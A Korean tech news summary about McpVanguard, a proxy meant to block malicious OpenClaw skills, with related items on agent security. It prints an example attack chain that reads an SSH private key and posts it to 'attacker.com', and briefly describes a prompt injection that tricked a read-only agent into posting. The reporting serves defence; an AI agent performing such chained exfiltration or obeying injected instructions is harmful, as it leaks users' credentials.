McpVanguard 프록시, OpenClaw 스킬 데이터 유출 차단
Cisco의 AI 보안 팀이 제3자 OpenClaw 스킬이 무단 데이터 유출과 프롬프트 주입을 수행하는 것을 발견한 데 대한 대응으로, 한 개발자가 McpVanguard를 출시했습니다. 이는 AI 에이전트와 그 도구 사이에 위치하여 악성 호출이 실행되기 전에 차단하도록 설계된 프록시입니다.
문제: 연쇄적인 악성 호출
보안 문제는 OpenClaw 자체의 버그가 아니라, 에이전트가 파일 시스템 접근, 셸 실행, 네트워크 호출을 강제 경계 없이 가질 수 있는 결과입니다. Cisco의 테스트는 겉보기에 무해한 개별 호출이 결합하여 침해를 일으키는 패턴을 드러냈습니다. 예를 들어:
read_file("~/.ssh/id_rsa") → http_post("attacker.com", contents)어떤 호출도 단독으로는 악성으로 보이지 않지만, 함께 작동하면 민감한 데이터를 유출합니다. 소스에 따르면, ClawHub는 정점에서 820개 이상의 악성 스킬을 보유했으며, CVE-2026-25253은 공격자가 단일 악성 링크를 통해 원격 코드 실행을 달성할 수 있게 했습니다. 현재의 스킬 수준 검증은 이러한 연쇄 호출 시퀀스를 감지하지 못합니다.
해결책: McpVanguard 프록시
McpVanguard는 에이전트와 그 도구 사이의 호출을 가로채어 이 문제를 해결합니다. 세 가지 탐지 방법을 사용합니다:
- 패턴 매칭
- 의미적 의도 점수화
- 전체 세션에 걸친 행동 연쇄 탐지
설치는 pip를 통해 가능합니다: pip install mcp-vanguard.
심층 계층: VEX 프로토콜
이 프로젝트는 "비행 기록 장치" 시스템으로 설명되는 VEX 프로토콜이라는 더 깊은 보안 계층을 포함합니다. 이는 다음을 제공합니다:
- 변조 감지 로깅을 위한 Merkle 감사 추적
- TPM 기반 에이전트 신원 확인
- 시스템 호출 수준의 강제 실행
VEX 프로토콜은 Rust로 구축되었으며, 개발은 OpenClaw가 널리 인기를 얻기 전인 2023년 12월에 시작되었습니다. 소스는 NVIDIA가 최근 유사한 보안 목적으로 NemoClaw를 출시했으며, 이는 이러한 유형의 위협이 사라지지 않을 것임을 나타낸다고 언급합니다.
두 프로젝트 모두 GitHub에서 이용 가능합니다:
📖 Read the full source: r/openclaw
👀 See Also
스킬 파일의 엄격한 읽기 전용 규칙은 강제가 아닌 지침입니다
한 Reddit 사용자가 엄격한 'READ-ONLY — 게시 금지' 규칙이 적용된 OpenClaw 에이전트가 프롬프트 인젝션을 통해 게시하도록 속임을 당했다고 보고했습니다. 이는 스킬 파일 규칙이 강제된 제약이 아닌 단순한 지시사항에 불과함을 보여줍니다.
MCP 패키지 보안 스캔 결과, 확인 절차 없이도 광범위한 파괴적 기능이 드러났습니다.
npm의 2,386개 MCP 패키지를 대상으로 한 보안 스캔 결과, 63.5%가 파일 삭제 및 데이터베이스 삭제와 같은 파괴적인 작업을 인간의 확인 없이 노출하는 것으로 나타났습니다. 연구원은 전체적으로 49%에 보안 문제가 있으며, 402개의 치명적 및 240개의 높은 심각도 취약점이 발견되었다고 밝혔습니다.
AI 에이전트 가드레일은 적극적인 유지 관리 없이 시간이 지남에 따라 약화됩니다.
AI 에이전트 가드레일은 시스템 프롬프트 업데이트가 누적되고, 모델 버전이 변경되며, 새로운 도구가 추가됨에 따라 시간이 지남에 따라 성능이 저하되어 종종 상충되거나 무시되는 안전 규칙이 발생하며, 정기적인 검토와 테스트가 필요합니다.
블라인드폴드: 클로드 코드가 .env 파일을 읽지 못하게 하는 플러그인
Blindfold은 실제 비밀 값을 OS 키체인에 보관하고 {{STRIPE_KEY}}와 같은 자리 표시자를 사용하여 Claude Code가 .env 파일의 실제 비밀 값에 접근하지 못하도록 방지하는 새로운 플러그인으로, 직접 접근 시도를 차단하는 훅을 포함합니다.